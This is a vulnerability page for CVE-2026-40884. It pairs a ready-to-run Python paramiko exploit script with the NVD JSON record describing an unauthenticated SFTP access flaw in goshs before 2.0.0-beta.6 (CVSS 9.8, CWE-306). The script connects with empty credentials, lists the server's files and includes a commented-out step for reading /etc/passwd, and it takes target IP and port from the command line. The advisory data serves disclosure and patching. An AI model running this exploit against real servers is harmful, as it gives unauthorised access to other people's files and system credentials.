CVE-2026-40884

import paramiko import sys # Exploit for CVE-2026-40884: goshs SFTP Authentication Bypass # Target: goshs < 2.0.0-beta.6 started with `-b ':pass'` and `-sftp` def exploit(target_ip, target_port): try: # Create a transport client transport = paramiko.Transport((target_ip, target_port)) # Attempt to connect without authentication (or empty credentials) # The vulnerability allows bypassing the password check transport.connect(username='', password='') sftp = paramiko.SFTPClient.from_transport(transport) print("[+] Connection established! Authentication bypassed.") # List files to prove access files = sftp.listdir('.') print(f"[+] Files in root directory: {files}") # Example: Read a sensitive file # try: # with sftp.file('/etc/passwd', 'r') as f: # print(f.read().decode()) # except: # pass sftp.close() transport.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <IP> <PORT>") else: exploit(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2026-40884", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.107", "lastModified": "2026-04-27T14:55:18.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. This vulnerability is fixed in 2.0.0-beta.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "471EA45E-3052-469D-B301-4D92FB187228"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*", "matchCriteriaId": "047ECFC3-056F-4FAC-9B64-5F7C120CFFE1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*", "matchCriteriaId": "6EA86AD2-EE6D-4427-9434-A9A49A4D38F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*", "matchCriteriaId": "F44CF6A3-C1BC-4636-A1D5-1ED69A340FE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta4:*:*:*:go:*:*", "matchCriteriaId": "486D1F77-023B-4EB9-8B49-17EF6546F2DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta5:*:*:*:go:*:*", "matchCriteriaId": "5834E73F-2EF9-42BD-BE8B-DE087A19A132"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-c29w-qq4m-2gcv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}